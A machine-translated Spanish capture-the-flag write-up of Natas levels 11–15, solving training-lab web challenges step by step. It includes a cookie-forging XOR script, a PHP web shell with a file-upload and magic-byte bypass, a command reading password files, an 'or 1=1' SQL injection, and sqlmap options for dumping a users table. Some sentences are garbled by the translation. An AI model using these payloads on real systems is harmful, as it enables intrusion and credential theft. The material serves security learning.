Natas Web. Paso de la plataforma CTF destinada a explotar vulnerabilidades web. Parte 2

imagen

En este artículo, trataremos el funcionamiento de algunas identidades WEB utilizando el juego de guerra Natas como ejemplo. Cada nivel tiene acceso a la contraseña del siguiente nivel. Todas las contraseñas también se almacenan en los archivos / etc / natas_webpass /. Por ejemplo, la contraseña para natas5 se almacena en el archivo / etc / natas_webpass / natas5 y es de solo lectura para los usuarios natas4 y natas5.

Información organizacional
Especialmente para aquellos que desean aprender algo nuevo y desarrollarse en cualquiera de las áreas de información y seguridad informática, escribiré y hablaré sobre las siguientes categorías:

  • PWN;
  • criptografía (criptografía);
  • tecnologías de red (Red);
  • inversa (ingeniería inversa);
  • esteganografía (Stegano);
  • búsqueda y explotación de vulnerabilidades WEB.

Además de esto, compartiré mi experiencia en informática forense, análisis de malware y firmware, ataques a redes inalámbricas y redes de área local, realización de pentests y escritura de exploits.

Para que pueda conocer nuevos artículos, software y otra información, creé un canal en Telegram y un grupo para discutir cualquier problema en el campo de ICD. Además, consideraré personalmente sus solicitudes personales, preguntas, sugerencias y recomendaciones personalmente y responderé a todos .

Toda la información se proporciona solo con fines educativos. El autor de este documento no tiene ninguna responsabilidad por los daños causados ​​a alguien como resultado del uso del conocimiento y los métodos obtenidos como resultado de estudiar este documento.

nivel 11


Analiza el código:

  1. la contraseña estará disponible si el valor de la matriz de datos con la clave showpassword es "sí";

    imagen
  2. la matriz de datos se crea mediante la función loadData, en la que los datos predeterminados se pasan como parámetro;

    imagen

    imagen
  3. la función loadData carga valores de datos de una cookie (codifica datos en base64, cifra xor en una clave desconocida, decodifica datos en formato json);

    imagen

    imagen
  4. establece los valores recibidos.

Lo que necesitas hacer:

  1. recuperar la clave de cifrado XOR:
    • tomar datos cifrados de una cookie;
    • decodificar base64;
    • codificar datos predeterminados en formato json;
    • Proxor recibió cronogramas.
  2. codificar y cifrar los nuevos datos utilizando el algoritmo inverso, donde showpassword == yes ;
  3. inserte los nuevos datos en la cookie y vuelva a cargar la página.

imagen

<?php function xor_encrypt($in, $k) { $key = $k; $text = $in; $outText = ''; for($i=0;$i<strlen($text);$i++) { $outText .= $text[$i] ^ $key[$i % strlen($key)]; } return $outText; } $old_data_code = "ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw"; $old_data_decode = array( "showpassword"=>"no", "bgcolor"=>"#ffffff"); $new_data_decode = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff"); $KEY = xor_encrypt(base64_decode($old_data_code), json_encode($old_data_decode)); echo "key: ". $KEY . "\n"; $KEY="qw8J"; $new_data_code = base64_encode(xor_encrypt(json_encode($new_data_decode), $KEY)); echo "new cookie: " . $new_data_code . "\n"; ?> 

imagen

imagen

nivel 12


Cuando guarda el archivo en el sitio, se guarda con un nombre aleatorio y una extensión JPEG. Pero lo más importante es que este nombre se forma y se proporciona al usuario en un campo oculto del formulario oculto incluso antes de que se seleccione el archivo, y después de eso se envía al servidor con el archivo.

imagen

Tarea: crear php-shell, interceptar la solicitud al servidor y
cambie el nombre del archivo a * .php.

 <? echo system($_GET["cmd"]); ?> 

imagen

Utilizamos Burp Suite: configuramos la configuración del proxy del navegador en 127.0.0.1:8080. Envía el caparazón. En la pestaña Proxy, reemplazamos la solicitud.

imagen

imagen

imagen

Pasamos a nuestro archivo en el servidor, pasando comandos a la línea de comando a través del parámetro cmd.

 cat /etc/natas_webpass/natas13 

imagen
Este tipo de vulnerabilidad se clasifica como Carga de archivos sin restricción.

Para crear un Shell, es mejor usar constantes php, ya que la ejecución de las funciones del sistema puede estar prohibida por la configuración del servidor.

nivel 13


Al guardar el mismo shell en el servidor, se nos dice que esto no es una imagen. Analizamos el código.

imagen

La función exif_imagetype está presente.

imagen

imagen

Para verificar el archivo JPEG, esta función utiliza la función interna is_jpeg, que verifica los primeros cuatro bytes del archivo.

imagen

El hecho es que el intérprete php ejecuta código que está entre <? ?>, omitiendo todos los demás caracteres. Abra el shell del nivel anterior en el editor hexadecimal y agregue los bytes 0xFFD8FFE0 al comienzo del archivo.

imagen

Envíe al sitio por analogía con el nivel anterior y obtenga una contraseña.

imagen

nivel 14


Un error común en el formulario de autorización. Consulta de base de datos:

 SELECT * from users where username="username" and password="password"; 

imagen

Es posible hacer que la solicitud sea verdadera: login = "admin" o 1 = 1 - ".

imagen

En este caso, o 1 = 1 devuelve verdadero, y el resto de la solicitud se comenta:

 SELECT * from users where username="admin" or 1=1; 

Le quitamos la contraseña.

imagen
Este tipo de vulnerabilidad pertenece a la categoría de inyección SQL.

nivel 15


En este formulario, analizamos el funcionamiento de sqlmap. Envíe una solicitud e intercepte los datos y el encabezado HTTP.

imagen

imagen

Seleccionamos solo la información necesaria del encabezado. En este caso: Usuario-Agente, Árbitro, Autorización. Establecer parámetros de sqlmap:

  • -u "URL"
  • --headers = "Encabezados HTTP, separados por` \ n` "
  • --data = "Datos de solicitud POST"
  • --current-db - determina qué base de datos se usa
  • --tamper = space2comment - reemplaza el espacio con la cadena / ** / (en SQL, esto es lo mismo)
  • --level = (1-5) - nivel de escaneo
  • --risk = (1-3) - riesgo de escaneo

imagen

Sqlmap determinó que el parámetro de nombre de usuario es vulnerable a la inyección ciega booleana y mostró la respuesta correcta de la base de datos al evento correcto (en la exploración posterior, puede especificar de inmediato el parámetro vulnerable y el tipo de inyección: -p nombre de usuario y - técnica = B).
B: inyección SQL ciega basada en Boolean
U: inyección de SQL de consulta UNION
T: inyección SQL ciega basada en el tiempo
E: inyección SQL basada en errores
S: consultas apiladas inyección SQL

Sqlmap detectó el DBMS de MySQL (en análisis posteriores, el parámetro --dbms = MySQL) y preguntó si era necesario determinar la versión de mysql (el valor predeterminado es sí).

imagen

Sqlmap informó que la versión de MySQL> = 5.0.12 (esto es necesario para seleccionar las constantes de la utilidad DBMS).

imagen

Sqlmap determinó la carga para el parámetro de nombre de usuario y preguntó si deberían verificarse otros parámetros (por defecto, no). También muestra la carga.

imagen

Proporciona información sobre el nodo y, como solicitamos, la base de datos actual: natas15.

imagen

imagen

Dados los nuevos datos conocidos, descubrimos las tablas de la base de datos natas15:

  • -D "base de datos"
  • --tables - define tablas

imagen

Sqlmap definió una tabla de usuarios.

imagen

Reconocemos las columnas en la tabla de usuarios:

  • -T "tabla"
  • --columnas - define columnas

imagen

Sqlmap definió 2 columnas.

imagen

Volcamos la tabla de usuarios (opción --dump). El basurero tomó 3 minutos. Ejecutamos la solicitud en 8 hilos (- hilos 8) - como resultado: 1 minuto.

imagen

Le quitamos la contraseña.

Continuará Puedes unirte a nosotros en Telegram .

Source: https://habr.com/ru/post/464443/


All Articles